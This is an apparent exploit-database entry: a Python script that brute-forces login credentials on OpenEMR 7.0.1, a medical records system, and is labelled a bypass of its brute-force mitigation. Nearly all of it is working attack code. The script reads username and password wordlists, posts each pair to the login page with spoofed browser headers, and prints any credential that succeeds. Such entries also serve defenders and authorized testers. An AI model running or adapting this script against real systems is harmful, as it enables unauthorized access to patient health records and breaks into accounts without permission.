OpenEMR 7.0.1 Authentication Bruteforce Mitigation Bypass

`# Exploit Title: OpenEMR v7.0.1 - Authentication credentials brute force  
# Date: 2023-04-28  
# Exploit Author: abhhi (Abhishek Birdawade)  
# Vendor Homepage: https://www.open-emr.org/  
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v7_0_1.tar.gz  
# Version: 7.0.1  
# Tested on: Windows  
  
'''  
Example Usage:  
- python3 exploitBF.py -l "http://127.0.0.1/interface/main/main_screen.php?auth=login&site=default" -u username -p pass.txt   
'''  
  
import requests  
import sys  
import argparse, textwrap  
from pwn import *  
  
#Expected Arguments  
parser = argparse.ArgumentParser(description="OpenEMR <= 7.0.1 Authentication Bruteforce Mitigation Bypass", formatter_class=argparse.RawTextHelpFormatter,   
epilog=textwrap.dedent('''   
Exploit Usage :   
python3 exploitBF.py -l http://127.0.0.1/interface/main/main_screen.php?auth=login&site=default -u username -p pass.txt  
python3 exploitBF.py -l http://127.0.0.1/interface/main/main_screen.php?auth=login&site=default -ul user.txt -p pass.txt  
python3 exploitBF.py -l http://127.0.0.1/interface/main/main_screen.php?auth=login&site=default -ul /Directory/user.txt -p /Directory/pass.txt'''))   
  
parser.add_argument("-l","--url", help="Path to OpenEMR (Example: http://127.0.0.1/interface/main/main_screen.php?auth=login&site=default)")   
parser.add_argument("-u","--username", help="Username to Bruteforce for.")  
parser.add_argument("-ul","--userlist", help="Username Dictionary")   
parser.add_argument("-p","--passlist", help="Password Dictionary")   
args = parser.parse_args()  
  
if len(sys.argv) < 2:  
print (f"Exploit Usage: python3 exploitBF.py -h")   
sys.exit(1)   
  
# Variable  
LoginPage = args.url  
Username = args.username  
Username_list = args.userlist  
Password_list = args.passlist  
  
log.info('OpenEMR Authentication Brute Force Mitigation Bypass Script by abhhi \n ')  
  
def login(Username,Password):  
session = requests.session()   
r = session.get(LoginPage)  
  
# Progress Check   
process = log.progress('Brute Force')  
  
#Specifying Headers Value  
headerscontent = {  
'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',  
'Referer' : f"{LoginPage}",  
'Origin' : f"{LoginPage}",  
}  
  
#POST REQ data  
postreqcontent = {  
'new_login_session_management' : 1,  
'languageChoice' : 1,  
'authUser' : f"{Username}",  
'clearPass' : f"{Password}"  
}  
  
#Sending POST REQ  
r = session.post(LoginPage, data = postreqcontent, headers = headerscontent, allow_redirects= False)  
  
#Printing Username:Password   
process.status('Testing -> {U}:{P}'.format(U = Username, P = Password))   
  
#Conditional loops   
if 'Location' in r.headers:  
if "/interface/main/tabs/main.php" in r.headers['Location']:  
print()  
log.info(f'SUCCESS !!')  
log.success(f"Use Credential -> {Username}:{Password}")  
sys.exit(0)  
  
#Reading User.txt & Pass.txt files  
if Username_list:  
userfile = open(Username_list).readlines()  
for Username in userfile:  
Username = Username.strip()   
  
passfile = open(Password_list).readlines()  
for Password in passfile:  
Password = Password.strip()   
login(Username,Password)  
  
  
`